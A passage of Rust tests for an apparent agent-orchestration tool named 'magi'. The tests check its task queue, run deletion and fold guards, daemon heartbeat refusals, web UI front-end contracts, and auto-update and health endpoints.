11987 state.id = "20260902-100000-c0de".to_owned();
11988 write_state(&runs, &state);
11989
11990 let rev_idle = runs_revision(&runs);
11991 std::thread::sleep(Duration::from_millis(10));
11992 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
11993 write_state(&runs, &state);
11994 let rev_started = runs_revision(&runs);
11995 assert_ne!(
11996 rev_idle, rev_started,
11997 "a seat starting must move the revision"
11998 );
11999
12000 std::thread::sleep(Duration::from_millis(10));
12001 state.seat_finished("judge-1");
12002 write_state(&runs, &state);
12003 let rev_finished = runs_revision(&runs);
12004 assert_ne!(
12005 rev_started, rev_finished,
12006 "and clearing it again must move the revision a second time"
12007 );
12008 }
12009
12010 #[tokio::test]
12011 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12012 let fx = Fixture::start().await;
12017 let q = fx.queue();
12018
12019 let mut t = Task::new(
12020 "Task".to_owned(),
12021 "Instruction".to_owned(),
12022 PathBuf::from("/repo"),
12023 Source::Human,
12024 );
12025 t.block(
12026 vec!["20260101-000000-dead".to_owned()],
12027 Some("waiting on Task 1".to_owned()),
12028 );
12029 t.answers.push(crate::queue::AnsweredQuestion {
12030 question: "Which backend?".to_owned(),
12031 answer: "SQLite".to_owned(),
12032 });
12033 q.put(&mut t).expect("put t");
12034
12035 let res = fx.get("/api/queue").await;
12036 assert_eq!(res.status, 200);
12037 let list = res.json();
12038 let view = list
12039 .as_array()
12040 .expect("array")
12041 .iter()
12042 .find(|v| v["id"] == t.id)
12043 .expect("task in list");
12044 assert_eq!(view["status_str"], "blocked");
12045 assert_eq!(
12046 view["blocked_by"],
12047 serde_json::json!(["20260101-000000-dead"])
12048 );
12049 assert_eq!(view["block_reason"], "waiting on Task 1");
12050 assert_eq!(view["answers"][0]["question"], "Which backend?");
12051 assert_eq!(view["answers"][0]["answer"], "SQLite");
12052
12053 let res = fx
12057 .post(&format!("/api/queue/{}/hold", t.short()), None)
12058 .await;
12059 assert_eq!(res.status, 200);
12060 let held = res.json();
12061 assert_eq!(held["status_str"], "held");
12062 assert_eq!(held["blocked_by"], serde_json::json!([]));
12063 assert!(held["block_reason"].is_null());
12064 assert_eq!(held["answers"][0]["answer"], "SQLite");
12065 }
12066
12067 #[tokio::test]
12068 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12069 let fx = Fixture::start().await;
12070 let q = fx.queue();
12071 let mk = |title: &str| {
12072 Task::new(
12073 title.to_owned(),
12074 "Instruction".to_owned(),
12075 PathBuf::from("/repo"),
12076 Source::Human,
12077 )
12078 };
12079 let mut root = mk("root");
12080 root.hold_manual(Some("waiting".to_owned()));
12081 q.put(&mut root).unwrap();
12082 let mut mid = mk("mid");
12083 mid.block(vec![root.id.clone()], None);
12084 q.put(&mut mid).unwrap();
12085 let mut leaf = mk("leaf");
12086 leaf.block(vec![mid.id.clone()], None);
12087 q.put(&mut leaf).unwrap();
12088
12089 let list = fx.get("/api/queue").await.json();
12090 let find = |id: &str| {
12091 list.as_array()
12092 .unwrap()
12093 .iter()
12094 .find(|v| v["id"] == id)
12095 .unwrap()
12096 .clone()
12097 };
12098 let leaf_view = find(&leaf.id);
12099 assert_eq!(
12100 leaf_view["waits_on"],
12101 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12102 );
12103 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12104 assert_eq!(
12105 find(&mid.id)["waits_on"],
12106 serde_json::json!([format!("{} (held)", root.short())])
12107 );
12108 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12109 }
12110
12111 #[tokio::test]
12112 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12113 let fx = Fixture::start().await;
12114 let q = fx.queue();
12115
12116 let mut t1 = Task::new(
12118 "Task 1".to_owned(),
12119 "Instruction 1".to_owned(),
12120 PathBuf::from("/repo"),
12121 Source::Human,
12122 );
12123 let run_id = "20260901-000000-r111";
12124 t1.runs.push(run_id.to_owned());
12125 write_run(&fx.runs(), run_id, RunStatus::Merged);
12126 q.put(&mut t1).expect("put t1");
12127
12128 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12130 assert_eq!(res.status, 204);
12131 assert!(res.body.is_empty(), "204 No Content has no body");
12132 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12133 assert!(
12134 fx.runs().join(run_id).exists(),
12135 "run directory must not be deleted when its task is deleted"
12136 );
12137
12138 let mut t2 = Task::new(
12140 "Task 2".to_owned(),
12141 "Instruction 2".to_owned(),
12142 PathBuf::from("/repo"),
12143 Source::Human,
12144 );
12145 t2.status = TaskStatus::Running;
12146 q.put(&mut t2).expect("put t2");
12147 let mut beat = crate::daemon::Status::new();
12148 beat.current = vec![crate::daemon::Current {
12149 task: t2.id.clone(),
12150 run: "20260901-000000-r222".to_owned(),
12151 }];
12152 beat.updated_at = jiff::Timestamp::now();
12153 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12154 .expect("publish a heartbeat");
12155 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12156 assert_eq!(res.status, 409);
12157 assert!(
12158 res.json()["error"]
12159 .as_str()
12160 .unwrap()
12161 .contains("live daemon")
12162 );
12163 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12164
12165 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12171 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12172 .expect("leave a stale heartbeat");
12173 let mut t3 = Task::new(
12174 "Task 3".to_owned(),
12175 "Instruction 3".to_owned(),
12176 PathBuf::from("/repo"),
12177 Source::Human,
12178 );
12179 t3.status = TaskStatus::Running;
12180 q.put(&mut t3).expect("put t3");
12181 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12182 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12183 assert_eq!(res.status, 204);
12184 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12185 assert!(
12186 q.claim(&t3.id).is_ok(),
12187 "the stale lock went with it, so the id is claimable again"
12188 );
12189
12190 let res = fx.delete("/api/queue/nonexistent").await;
12192 assert_eq!(res.status, 404);
12193 }
12194
12195 #[tokio::test]
12196 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12197 let fx = Fixture::start().await;
12198 let runs = fx.runs();
12199
12200 let run_id = "20260901-000000-fold";
12202 let mut state = RunState::new(
12203 PathBuf::from("/repo"),
12204 "main".to_owned(),
12205 "abc".to_owned(),
12206 "instruction".to_owned(),
12207 Config::default(),
12208 );
12209 state.id = run_id.to_owned();
12210 state.status = RunStatus::Merged;
12211 state.candidates.push(crate::run::Candidate {
12212 index: 0,
12213 label: 'A',
12214 agent: "a".to_owned(),
12215 branch: "b".to_owned(),
12216 worktree: PathBuf::from("/w"),
12217 summary: String::new(),
12218 stat: String::new(),
12219 files: 1,
12220 commits: 1,
12221 empty: false,
12222 failed: None,
12223 verified_noop: None,
12224 duration_ms: 0,
12225 folded: true,
12226 });
12227 let dir = runs.join(run_id);
12228 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12229 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12230 .expect("write artifact");
12231 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12232 .expect("write run.json");
12233
12234 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12236 assert_eq!(res.status, 204);
12237 assert!(res.body.is_empty(), "204 has no body");
12238 assert!(!dir.exists(), "run directory and artifacts must be deleted");
12239
12240 let run_running = "20260901-000000-rung";
12245 write_run(&runs, run_running, RunStatus::Prep);
12246 let mut beat = crate::daemon::Status::new();
12247 beat.current = vec![crate::daemon::Current {
12248 task: "20260901-000000-task".to_owned(),
12249 run: run_running.to_owned(),
12250 }];
12251 beat.updated_at = jiff::Timestamp::now();
12252 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12253 .expect("publish a heartbeat");
12254 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12255 assert_eq!(res.status, 409);
12256 assert!(
12257 res.json()["error"]
12258 .as_str()
12259 .unwrap()
12260 .contains("live daemon"),
12261 "the refusal must say who is holding it"
12262 );
12263 assert!(
12264 runs.join(run_running).exists(),
12265 "a run in flight keeps its directory"
12266 );
12267
12268 let run_unfolded = "20260901-000000-unfd";
12270 let mut state2 = RunState::new(
12271 PathBuf::from("/repo"),
12272 "main".to_owned(),
12273 "abc".to_owned(),
12274 "instruction".to_owned(),
12275 Config::default(),
12276 );
12277 state2.id = run_unfolded.to_owned();
12278 state2.status = RunStatus::Ready;
12279 state2.candidates.push(crate::run::Candidate {
12280 index: 0,
12281 label: 'A',
12282 agent: "a".to_owned(),
12283 branch: "b".to_owned(),
12284 worktree: PathBuf::from("/w"),
12285 summary: String::new(),
12286 stat: String::new(),
12287 files: 1,
12288 commits: 1,
12289 empty: false,
12290 failed: None,
12291 verified_noop: None,
12292 duration_ms: 0,
12293 folded: false,
12294 });
12295 let dir2 = runs.join(run_unfolded);
12296 std::fs::create_dir_all(&dir2).expect("create dir2");
12297 std::fs::write(
12298 dir2.join("run.json"),
12299 serde_json::to_string(&state2).unwrap(),
12300 )
12301 .expect("write run.json");
12302
12303 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12304 assert_eq!(res.status, 409);
12305 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12306 assert!(dir2.exists(), "unfolded run directory is kept");
12307
12308 let res = fx.delete("/api/runs/nonexistent").await;
12310 assert_eq!(res.status, 404);
12311 }
12312
12313 #[test]
12322 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12323 let start = APP_JS
12324 .find("function renderStats() {")
12325 .expect("renderStats");
12326 let end = start
12327 + APP_JS[start..]
12328 .find("function statsTile(")
12329 .expect("the next top-level function");
12330 let body = &APP_JS[start..end];
12331
12332 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12333 let gate_end = gate_start
12334 + body[gate_start..]
12335 .find("}\n renderStatsQueue")
12336 .expect("the gate's own closing brace, right before the unconditional call");
12337 let gated = &body[gate_start..gate_end];
12338
12339 assert_eq!(
12340 body.matches("renderStatsQueue(").count(),
12341 1,
12342 "renderStats must call renderStatsQueue exactly once: {body}"
12343 );
12344 assert!(
12345 !gated.contains("renderStatsQueue"),
12346 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12347 run-derived panels on an empty run history - the queue panel has to render \
12348 regardless: {gated}"
12349 );
12350 }
12351
12352 #[test]
12353 fn web_ui_delete_contract_in_front_end() {
12354 assert!(APP_JS.contains("deleteRun:"));
12356 assert!(APP_JS.contains("deleteTask:"));
12357
12358 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12360 ..APP_JS.find("function renderRuns").unwrap()];
12361 assert!(!run_cards_slice.to_lowercase().contains("delete"));
12362
12363 assert!(APP_JS.contains("renderRunDelete"));
12365 assert!(APP_JS.contains("runDeleteReason"));
12366 assert!(APP_JS.contains("magi fold"));
12367 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12368
12369 assert!(APP_JS.contains("cancel.focus"));
12371 assert!(APP_JS.contains("armedRunDelete"));
12372 assert!(APP_JS.contains("renderTaskDeleteBox"));
12373 assert!(APP_JS.contains("armed${cap(key)}"));
12374
12375 assert!(APP_JS.contains("disabled: status === \"running\""));
12377 }
12378
12379 #[test]
12399 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12400 let build = APP_JS
12401 .find("function createRunCard")
12402 .expect("createRunCard exists");
12403 let update = APP_JS
12404 .find("function updateRunCard")
12405 .expect("updateRunCard exists");
12406 let end = APP_JS
12407 .find("function renderRuns")
12408 .expect("renderRuns exists");
12409
12410 let builder = &APP_JS[build..update];
12412 let open = builder.find("refs = {").expect("createRunCard sets refs");
12413 let literal = &builder[open + "refs = {".len()..];
12414 let close = literal.find('}').expect("the refs literal is closed");
12415 let published: HashSet<&str> = literal[..close]
12416 .split(',')
12417 .filter_map(|entry| entry.split(':').next())
12419 .map(str::trim)
12420 .filter(|name| !name.is_empty())
12421 .collect();
12422 assert!(
12423 published.len() > 5,
12424 "the refs literal did not parse into names: {published:?}"
12425 );
12426
12427 let mut used: Vec<&str> = Vec::new();
12430 let updaters = &APP_JS[update..end];
12431 for (at, _) in updaters.match_indices("r.") {
12432 let before = updaters[..at].chars().next_back();
12435 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12436 continue;
12437 }
12438 let rest = &updaters[at + 2..];
12439 let len = rest
12440 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12441 .unwrap_or(rest.len());
12442 if len > 0 {
12443 used.push(&rest[..len]);
12444 }
12445 }
12446 assert!(
12447 used.len() > 5,
12448 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12449 );
12450
12451 let missing: Vec<&str> = used
12452 .iter()
12453 .copied()
12454 .filter(|name| !published.contains(name))
12455 .collect();
12456 assert!(
12457 missing.is_empty(),
12458 "a run card's updater reaches for {missing:?}, which `createRunCard` \
12459 never put in `refs` - every card will throw and the list will \
12460 render empty under a count line that says otherwise. Published: \
12461 {published:?}"
12462 );
12463 }
12464
12465 #[tokio::test]
12466 async fn folding_from_the_phone_reports_what_it_removed() {
12467 let fx = Fixture::start().await;
12468 let runs = fx.runs();
12469
12470 let id = "20260901-000000-fold";
12474 write_run(&runs, id, RunStatus::Stalled);
12475 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12476 assert_eq!(res.status, 200);
12477 assert_eq!(res.json()["removed_count"], 0);
12478 assert_eq!(res.json()["run"], id);
12479 assert!(
12480 runs.join(id).exists(),
12481 "a fold keeps the run's record; only the worktrees go"
12482 );
12483 }
12484
12485 #[tokio::test]
12486 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12487 let fx = Fixture::start().await;
12488 let runs = fx.runs();
12489 let wt = fx.home.path().join("wt").join("magi").join("dead");
12490 let id = "20260901-000000-dead";
12491 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12492 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12493 std::fs::create_dir_all(&wt).expect("worktree dir");
12494
12495 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12496 assert_eq!(res.status, 200, "{}", res.body);
12497 assert!(
12498 res.json()["removed_count"].as_u64().unwrap() > 0,
12499 "the worktree this build could not read a state for still went"
12500 );
12501 assert!(
12502 !runs.join(id).exists(),
12503 "an unreadable run has no candidate list to fold selectively, so \
12504 the whole record goes - same as `magi fold` on the CLI"
12505 );
12506 }
12507
12508 #[tokio::test]
12509 async fn deleting_an_unreadable_run_removes_it_wholesale() {
12510 let fx = Fixture::start().await;
12511 let runs = fx.runs();
12512 let wt = fx.home.path().join("wt").join("magi").join("gone");
12513 let id = "20260901-000000-gone";
12514 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12515 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12516 std::fs::create_dir_all(&wt).expect("worktree dir");
12517
12518 let res = fx.delete(&format!("/api/runs/{id}")).await;
12519 assert_eq!(res.status, 204, "{}", res.body);
12520 assert!(!runs.join(id).exists(), "the broken record is gone");
12521 assert!(!wt.exists(), "its worktree is gone too");
12522 }
12523
12524 #[tokio::test]
12525 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12526 let fx = Fixture::start().await;
12527 let runs = fx.runs();
12528 let id = "20260901-000000-live";
12529 write_run(&runs, id, RunStatus::Implementing);
12530
12531 let mut beat = crate::daemon::Status::new();
12532 beat.current = vec![crate::daemon::Current {
12533 task: "20260901-000000-task".to_owned(),
12534 run: id.to_owned(),
12535 }];
12536 beat.updated_at = jiff::Timestamp::now();
12537 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12538 .expect("publish a heartbeat");
12539
12540 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12541 assert_eq!(res.status, 409);
12542 assert!(
12543 res.json()["error"]
12544 .as_str()
12545 .unwrap()
12546 .contains("live daemon"),
12547 "folding under a running agent would pull its worktree away"
12548 );
12549 }
12550
12551 #[tokio::test]
12552 async fn fold_merged_requires_a_pr_url() {
12553 let fx = Fixture::start().await;
12554 let runs = fx.runs();
12555 let id = "20260901-000000-nourl";
12556 write_run(&runs, id, RunStatus::Blocked);
12557
12558 let res = fx
12559 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12560 .await;
12561 assert_eq!(res.status, 400, "{}", res.body);
12562
12563 let blank = fx
12564 .post(
12565 &format!("/api/runs/{id}/fold-merged"),
12566 Some(r#"{"pr_url":" "}"#),
12567 )
12568 .await;
12569 assert_eq!(blank.status, 400, "{}", blank.body);
12570 }
12571
12572 #[tokio::test]
12573 async fn fold_merged_is_404_for_an_unknown_run() {
12574 let fx = Fixture::start().await;
12575 let res = fx
12576 .post(
12577 "/api/runs/nosuchrun/fold-merged",
12578 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12579 )
12580 .await;
12581 assert_eq!(res.status, 404, "{}", res.body);
12582 }
12583
12584 #[tokio::test]
12585 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12586 let fx = Fixture::start().await;
12587 let runs = fx.runs();
12588 let id = "20260901-000000-livemerge";
12589 write_run(&runs, id, RunStatus::Blocked);
12590
12591 let mut beat = crate::daemon::Status::new();
12592 beat.current = vec![crate::daemon::Current {
12593 task: "20260901-000000-task".to_owned(),
12594 run: id.to_owned(),
12595 }];
12596 beat.updated_at = jiff::Timestamp::now();
12597 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12598 .expect("publish a heartbeat");
12599
12600 let res = fx
12601 .post(
12602 &format!("/api/runs/{id}/fold-merged"),
12603 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12604 )
12605 .await;
12606 assert_eq!(res.status, 409, "{}", res.body);
12607 assert!(
12608 res.json()["error"]
12609 .as_str()
12610 .unwrap()
12611 .contains("live daemon"),
12612 "correcting a run's merge underneath a running agent would race \
12613 whatever it is doing to the same `status`/`merge` fields"
12614 );
12615 }
12616
12617 #[tokio::test]
12622 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12623 let fx = Fixture::start().await;
12624 let runs = fx.runs();
12625 let id = "20260901-000000-unconfirmed";
12626 write_run(&runs, id, RunStatus::Blocked);
12627
12628 let res = fx
12629 .post(
12630 &format!("/api/runs/{id}/fold-merged"),
12631 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12632 )
12633 .await;
12634 assert_eq!(res.status, 400, "{}", res.body);
12635 assert_eq!(
12636 read_run(&runs, id).unwrap().status,
12637 RunStatus::Blocked,
12638 "a pull request that could not be confirmed merged must leave \
12639 the run exactly where it was"
12640 );
12641 }
12642
12643 #[tokio::test]
12644 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12645 let fx = Fixture::start().await;
12646 let runs = fx.runs();
12647
12648 for (status, word) in [
12654 (RunStatus::Merged, "merged"),
12655 (RunStatus::Ready, "ready"),
12656 (RunStatus::Failed, "failed"),
12657 ] {
12658 let id = format!("20260901-000000-{}", &word[..4]);
12659 write_run(&runs, &id, status);
12660 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12661 assert_eq!(res.status, 409, "{word} must not be resumable");
12662 let err = res.json()["error"].as_str().unwrap().to_owned();
12663 assert!(err.contains(word), "the refusal names the status: {err}");
12664 }
12665
12666 let mid = "20260901-000000-midf";
12671 write_run(&runs, mid, RunStatus::Reviewing);
12672 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12673 assert_eq!(res.status, 202, "an interrupted run is resumable");
12674 }
12675
12676 #[tokio::test]
12677 async fn resume_is_refused_while_the_loop_is_running() {
12678 let fx = Fixture::start().await;
12679 let runs = fx.runs();
12680 let stalled = "20260901-000000-stal";
12681 write_run(&runs, stalled, RunStatus::Stalled);
12682
12683 let mut beat = crate::daemon::Status::new();
12687 beat.current = vec![crate::daemon::Current {
12688 task: "20260901-000000-task".to_owned(),
12689 run: "20260901-000000-othr".to_owned(),
12690 }];
12691 beat.updated_at = jiff::Timestamp::now();
12692 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12693 .expect("publish a heartbeat");
12694
12695 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12696 assert_eq!(res.status, 409);
12697 let err = res.json()["error"].as_str().unwrap().to_owned();
12698 assert!(err.contains("othr"), "it names what the loop is on: {err}");
12699 assert!(err.contains("stop it first"), "{err}");
12700 }
12701
12702 #[test]
12703 fn a_run_cannot_be_resumed_twice_at_once() {
12704 let home = TempDir::new().expect("temp home");
12705 let ui = Ui::new(
12706 Queue::at(home.path().join("queue")),
12707 Questions::at(home.path().join("questions")),
12708 Talks::at(home.path().join("talks")),
12709 home.path().join("runs"),
12710 home.path().to_path_buf(),
12711 PathBuf::from("/repo"),
12712 )
12713 .with_worktrees_root(home.path().join("wt"));
12714 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12715 let again = ui.begin_resume("20260901-000000-once");
12716 assert!(again.is_err(), "a second tap must not start a second graph");
12717 drop(first);
12718 assert!(
12719 ui.begin_resume("20260901-000000-once").is_ok(),
12720 "and the claim is released when the attempt ends"
12721 );
12722 }
12723
12724 #[test]
12725 fn talk_thinking_tracks_only_its_held_turn_claim() {
12726 let home = TempDir::new().expect("temp home");
12727 let ui = Ui::new(
12728 Queue::at(home.path().join("queue")),
12729 Questions::at(home.path().join("questions")),
12730 Talks::at(home.path().join("talks")),
12731 home.path().join("runs"),
12732 home.path().to_path_buf(),
12733 PathBuf::from("/repo"),
12734 )
12735 .with_worktrees_root(home.path().join("wt"));
12736 let id = "20260901-000000-once";
12737
12738 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12739 let turn = ui.begin_talk_turn(id).expect("claim turn");
12740 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12741 assert!(
12742 !ui.is_thinking("20260901-000000-other"),
12743 "one talk's turn does not make another talk busy"
12744 );
12745 drop(turn);
12746 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12747 }
12748
12749 #[tokio::test]
12750 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12751 let fx = Fixture::start().await;
12752 let mut beat = crate::daemon::Status::new();
12756 beat.pid = 4321;
12757 beat.updated_at = jiff::Timestamp::now();
12758 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12759 .expect("publish a heartbeat");
12760
12761 let res = fx.post("/api/upgrade", None).await;
12762 assert_eq!(res.status, 409);
12763 let err = res.json()["error"].as_str().unwrap().to_owned();
12764 assert!(err.contains("4321"), "the refusal names the owner: {err}");
12765 assert!(err.contains("old one against the same queue"), "{err}");
12766 }
12767
12768 #[test]
12775 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12776 assert!(!should_spawn_recheck(&crate::config::Update {
12777 mode: UpdateMode::Off,
12778 interval: None,
12779 }));
12780
12781 unsafe {
12784 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12785 }
12786 let killed = should_spawn_recheck(&crate::config::Update {
12787 mode: UpdateMode::Notify,
12788 interval: None,
12789 });
12790 unsafe {
12791 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12792 }
12793 assert!(
12794 !killed,
12795 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12796 one-time startup check"
12797 );
12798
12799 assert!(should_spawn_recheck(&crate::config::Update {
12800 mode: UpdateMode::Notify,
12801 interval: None,
12802 }));
12803 }
12804
12805 #[test]
12811 fn recheck_poll_period_tracks_a_short_configured_interval() {
12812 let short = crate::config::Update {
12813 mode: UpdateMode::Notify,
12814 interval: Some("1m".to_owned()),
12815 };
12816 let period = recheck_poll_period(&short);
12817 assert!(
12818 period <= Duration::from_secs(30),
12819 "a one-minute interval must wake the task far sooner than the \
12820 default ceiling, or the deck would not notice within the \
12821 interval the operator configured: got {period:?}"
12822 );
12823
12824 let default = crate::config::Update {
12825 mode: UpdateMode::Notify,
12826 interval: None,
12827 };
12828 assert_eq!(
12829 recheck_poll_period(&default),
12830 UPDATE_RECHECK_POLL_MAX,
12831 "the default day-long interval should poll at the (capped) \
12832 ceiling rather than needlessly often"
12833 );
12834 }
12835
12836 #[test]
12844 fn recheck_skips_the_network_before_the_interval_elapses() {
12845 let dir = TempDir::new().expect("temp dir");
12846 let path = dir.path().join("state.json");
12847 let state = kaishin::UpdateCheckState {
12848 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12849 last_known_latest: None,
12850 last_known_url: None,
12851 };
12852 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12853
12854 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12855 assert!(
12856 !update_recheck_due(&checker, None),
12857 "a check made moments ago must not be repeated before the \
12858 configured interval elapses"
12859 );
12860 }
12861
12862 #[test]
12868 fn recheck_defers_to_an_upgrade_already_in_flight() {
12869 let dir = TempDir::new().expect("temp dir");
12870 let path = dir.path().join("state.json");
12871 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12872 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12873
12874 assert!(
12875 !update_recheck_due(&checker, Some(&progress)),
12876 "a recheck must not run while an upgrade this deck started is \
12877 still moving"
12878 );
12879 }
12880
12881 #[tokio::test]
12882 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12883 unsafe {
12895 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12896 }
12897 let fx = Fixture::start().await;
12898 let res = fx.post("/api/upgrade", None).await;
12899 unsafe {
12900 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12901 }
12902 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12903 let body = res.json();
12904 assert!(body["to"].is_null(), "there was no release to move to");
12905 assert!(body["parked"].is_null(), "and nothing was parked");
12906 assert!(
12907 body["detail"]
12908 .as_str()
12909 .unwrap()
12910 .contains("disabled by MAGI_NO_AUTOUPDATE"),
12911 "{body:?}"
12912 );
12913 }
12914
12915 #[tokio::test]
12916 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
12917 let repo = TempDir::new().expect("repo dir");
12933 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12934 .expect("write magi.toml");
12935 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12936
12937 let res = fx.post("/api/upgrade", None).await;
12943 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12944 let body = res.json();
12945 assert!(body["to"].is_null(), "there was no release to move to");
12946 assert!(body["parked"].is_null(), "and nothing was parked");
12947 assert!(
12948 body["detail"]
12949 .as_str()
12950 .unwrap()
12951 .contains("nothing restarted"),
12952 "{body:?}"
12953 );
12954 }
12955
12956 #[tokio::test]
12957 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
12958 let repo = TempDir::new().expect("repo dir");
12963 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12964 .expect("write magi.toml");
12965 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12966
12967 let health = fx.get("/api/health").await.json();
12968 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
12969 assert_eq!(
12970 health["update"]["available"], false,
12971 "checking is off, which reads as \"unknown\", not \"none\""
12972 );
12973 assert!(health["update"]["to"].is_null());
12974 assert!(
12975 health["upgrade"].is_null(),
12976 "nothing has ever asked this deck to upgrade"
12977 );
12978 }
12979
12980 #[tokio::test]
12981 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
12982 let fx = Fixture::start().await;
12983 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
12984
12985 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12986 progress.parked_run = Some("20260905-000000-cd51".to_owned());
12987 progress.advance(crate::updater::Stage::Parking);
12988 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12989
12990 let health = fx.get("/api/health").await.json();
12991 assert_eq!(health["upgrade"]["stage"], "parking");
12992 assert_eq!(health["upgrade"]["from"], "0.5.1");
12993 assert_eq!(health["upgrade"]["to"], "0.5.2");
12994 let waiting_on = health["upgrade"]["waiting_on"]
12995 .as_str()
12996 .expect("waiting_on is set while parking a known run");
12997 assert!(waiting_on.contains("cd51"), "{waiting_on}");
12998 assert!(waiting_on.contains("implementing"), "{waiting_on}");
12999 }
13000
13001 #[tokio::test]
13002 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13003 let fx = Fixture::start().await;
13004 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13005 progress.advance(crate::updater::Stage::Done);
13006 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13007
13008 let health = fx.get("/api/health").await.json();
13009 assert_eq!(health["upgrade"]["stage"], "done");
13010 assert!(
13011 health["upgrade"]["waiting_on"].is_null(),
13012 "nothing to wait on once it is done"
13013 );
13014 }
13015
13016 #[tokio::test]
13017 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13018 let home = TempDir::new().expect("temp home");
13019 let runs = home.path().join("runs");
13020 std::fs::create_dir_all(&runs).expect("runs dir");
13021 let ui = Ui::new(
13022 Queue::at(home.path().join("queue")),
13023 Questions::at(home.path().join("questions")),
13024 Talks::at(home.path().join("talks")),
13025 runs,
13026 home.path().to_path_buf(),
13027 PathBuf::from("/repo/magi"),
13028 )
13029 .with_launch(launch_idle);
